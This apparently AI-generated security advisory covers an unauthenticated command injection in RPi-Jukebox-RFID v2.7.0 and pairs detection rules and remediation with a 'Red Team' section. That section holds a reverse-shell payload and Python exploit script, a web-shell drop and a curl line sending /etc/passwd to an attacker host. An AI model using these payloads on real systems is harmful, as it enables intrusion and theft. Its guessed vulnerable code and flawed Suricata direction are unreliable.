CVE-2024-41361

Executive Summary

CVE-2024-41361 is a critical Remote Code Execution (RCE) vulnerability discovered in RPi-Jukebox-RFID v2.7.0, a popular open-source project for Raspberry Pi-based jukeboxes using RFID cards. The flaw resides in the htdocs/manageFilesFolders.php script, which fails to properly sanitize user-supplied input before passing it to a system command. An unauthenticated attacker can exploit this to execute arbitrary operating system commands on the affected device, leading to full compromise of the Raspberry Pi and any connected network resources.

This vulnerability is particularly dangerous because RPi-Jukebox-RFID is often deployed on home or small business networks with minimal security controls. The vendor has not released a patch, and the project appears unmaintained. The EPSS score is 0.0%, indicating low exploitation likelihood currently, but the public availability of proof-of-concept code increases the risk.

Supply Chain & Package Security

RPi-Jukebox-RFID is a Python-based project that relies on several third-party libraries (e.g., Flask, mutagen, RPi.GPIO). While the vulnerability itself is in the PHP frontend, the overall supply chain risk is elevated due to the unmaintained status of the project. Users should audit all dependencies for known vulnerabilities and consider containerization or network isolation.

CVSS Breakdown & Threat Level

The CVSS vector is not officially assigned, but based on the vulnerability characteristics, a reasonable estimate is:

• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Unchanged (U) – vulnerable component and impacted component are the same.
• Confidentiality (C): High (H) – full file read possible.
• Integrity (I): High (H) – arbitrary command execution.
• Availability (A): High (H) – can disrupt service.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability allows unauthenticated RCE, which is the most severe class of web application flaw.

Deep Dive & Mechanics

The vulnerability is a classic command injection flaw in the manageFilesFolders.php script. This script is used to manage music files and folders on the jukebox. The vulnerable code likely takes a parameter (e.g., action, file, or folder) and passes it unsanitized to a shell command like exec(), system(), or shell_exec().

Root Cause: Lack of input validation and failure to use escapeshellarg() or escapeshellcmd() before passing user input to system commands.

Attack Vector: An attacker sends a crafted HTTP request to the vulnerable endpoint. For example:

POST /htdocs/manageFilesFolders.php HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

action=delete&file=;id

The semicolon (;) terminates the intended command, and the id command is executed. The output may be reflected in the response or sent to a log file.

Impact: Full remote code execution as the www-data user (typically). This allows the attacker to:

• Install backdoors (e.g., reverse shell, web shell).
• Exfiltrate data (e.g., RFID card mappings, music files).
• Pivot to other devices on the network.
• Use the device as a bot in a DDoS network.

Vulnerable vs. Patched Code

Since no patch exists, we can only infer the vulnerable pattern. The vulnerable code likely resembles:

// VULNERABLE CODE (v2.7.0)
$action = $_POST['action'];
$file = $_POST['file'];
system("rm -f " . $file);

A patched version would use proper escaping:

// PATCHED CODE (hypothetical)
$action = $_POST['action'];
$file = escapeshellarg($_POST['file']);
system("rm -f " . $file);

Or better, avoid shell commands entirely:

// PREFERRED PATCH
$file = basename($_POST['file']); // strip path
if (file_exists($file)) {
    unlink($file);
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running RPi-Jukebox-RFID v2.7.0
• Network access to the web interface (default port 80)

Exploit Steps:

1. Reconnaissance: Identify the target by scanning for the default web interface or using Shodan dorks.
2. Craft Payload: Use command injection to execute arbitrary commands. Example payload to get a reverse shell:

# Reverse shell payload (URL-encoded)
action=delete&file=;bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' &

3. Send Request: Use curl or a Python script:

import requests

url = "http://target/htdocs/manageFilesFolders.php"
payload = {
    "action": "delete",
    "file": ";bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1' &"
}
requests.post(url, data=payload)

4. Catch Shell: On attacker machine, run nc -lvnp 4444.

Alternative Payloads:

• Write a web shell: file=;echo '<?php system($_GET["cmd"]); ?>' > /var/www/html/shell.php
• Exfiltrate data: file=;curl http://attacker/$(cat /etc/passwd)

Blue Team (Defensive)

Detection:

• Monitor web server logs for suspicious POST requests to manageFilesFolders.php containing shell metacharacters (;, |, &, `, $()).
• Look for outbound connections from the Raspberry Pi to unknown IPs on unusual ports (e.g., 4444, 1337).
• Check for unexpected files in the web root (e.g., shell.php, cmd.php).

Hunting:

• Search for processes spawned by the web server user (www-data) that are not typical (e.g., bash, nc, python).
• Review system logs (/var/log/syslog, /var/log/auth.log) for unusual activity.

Containment:

• Immediately isolate the affected device from the network.
• Block outbound traffic from the web server to the internet.
• Disable the vulnerable script or restrict access via .htaccess:

<Files "manageFilesFolders.php">
    Require all denied
</Files>

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /htdocs/manageFilesFolders.php with parameters containing shell metacharacters.
• Outbound connections from the Raspberry Pi to attacker-controlled IPs on ports 4444, 1337, 8080, etc.
• DNS queries to known malicious domains or IPs.

File System IOCs:

• Unexpected files in /var/www/html/ (e.g., shell.php, cmd.php, backdoor.php).
• Modified system binaries (e.g., /bin/bash replaced with a backdoored version).
• New cron jobs or systemd services added by the attacker.

Process IOCs:

• Processes running as www-data that are not typical (e.g., bash, python, nc, curl).
• Reverse shell processes (e.g., bash -i).

Log IOCs:

• Apache access log entries with manageFilesFolders.php and ; or | characters.
• System log entries showing unexpected command execution.

Detection Engineering

YARA Rule

rule CVE_2024_41361_RPi_Jukebox_RCE {
    meta:
        description = "Detects exploitation attempts of CVE-2024-41361 in RPi-Jukebox-RFID"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-41361"
        severity = "critical"
    strings:
        $s1 = "manageFilesFolders.php" ascii wide nocase
        $s2 = /[;&|`$()]/
        $s3 = "bash" ascii wide nocase
        $s4 = "exec" ascii wide nocase
        $s5 = "system" ascii wide nocase
    condition:
        $s1 and any of ($s2, $s3, $s4, $s5)
}

Sigma Rule

title: CVE-2024-41361 RPi-Jukebox-RFID RCE Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests to manageFilesFolders.php with shell metacharacters
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-41361
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/htdocs/manageFilesFolders.php'
        cs-uri-query|contains: 
            - ';'
            - '|'
            - '&'
            - '`'
            - '$('
    condition: selection
falsepositives:
    - Legitimate use of semicolons in filenames (unlikely)
level: high
tags:
    - attack.t1190
    - cve.2024.41361

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-41361 RPi-Jukebox-RFID RCE Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/htdocs/manageFilesFolders.php"; http_uri;
    content:";"; http_client_body;
    pcre:"/[;&|`$()]/";
    reference:url,https://nvd.nist.gov/vuln/detail/CVE-2024-41361;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable script: Remove or rename manageFilesFolders.php or restrict access via web server configuration.
2. Apply input validation: If you must keep the script, add proper input sanitization using escapeshellarg() or switch to PHP functions that avoid shell execution.
3. Network segmentation: Place the Raspberry Pi on a separate VLAN with strict firewall rules.
4. Update: Monitor the project repository for any official patch. If none appears, consider forking the project and applying the fix yourself.

Long-term Recommendations:

• Migrate to a maintained alternative jukebox software.
• Implement a Web Application Firewall (WAF) to block command injection attempts.
• Regularly audit all open-source dependencies for vulnerabilities.
• Enable logging and monitoring for all web requests.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.